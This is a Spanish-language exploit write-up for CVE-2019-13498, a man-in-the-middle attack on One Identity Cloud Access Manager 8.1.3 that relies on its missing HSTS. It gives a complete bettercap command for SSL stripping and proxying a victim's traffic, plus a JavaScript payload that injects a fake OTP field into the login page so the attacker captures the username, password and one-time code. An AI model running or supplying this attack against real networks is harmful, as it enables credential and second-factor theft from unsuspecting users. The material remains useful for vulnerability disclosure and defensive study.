CVE-2019-13498
Título del Exploit: MITM - Falta de HSTS que provoca robo de credenciales y manipulación de contenido
Fecha: 07/10/2019
Autor del Exploit: Furqan Khan
Página web del proveedor: https://www.oneidentity.com/
Enlace del software: https://www.oneidentity.com/products/cloud-access-manager/
Versión: 8.1.3
Probado en: Kali Linux , Windows 7 ,Ubantu 16.04
Para llevar a cabo el ataque MITM y robar el nombre de usuario, la contraseña y el OTP, hacemos uso de bettercap 1.6. Idealmente, el campo OTP se completa en la segunda página de la aplicación, después de que el usuario se autentique correctamente con un nombre de usuario y una contraseña legítimos. Sin embargo, usamos SSL strip y manipulación de contenido para inyectar un campo de texto OTP en la misma página donde se solicitan el nombre de usuario y la contraseña. Una víctima puede pensar que este cambio proviene de la propia aplicación, y compartirá el nombre de usuario, la contraseña y el OTP, y enviará el formulario. El atacante, que ha configurado bettercap y el proxy, obtendrá las credenciales y el OTP, y las utilizará para iniciar sesión en la aplicación.
El comando de bettercap utilizado es:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

Aquí 192.168.1.103 es la dirección IP de la víctima. Si no la conocemos, podemos usar bettercap para esnifar y manipular el contenido de toda la LAN (red común del atacante y de la víctima).
El contenido de inject_js.js se muestra a continuación
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Ahora, cuando la víctima navegue por el producto (Cloud access manager), debido al envenenamiento de caché y al SSL strip (Bettercap), se inyectará un campo de texto OTP en la página que se servirá a la víctima mediante el fragmento de JavaScript inyectado


¡Bingo! ¡Eso fue fácil!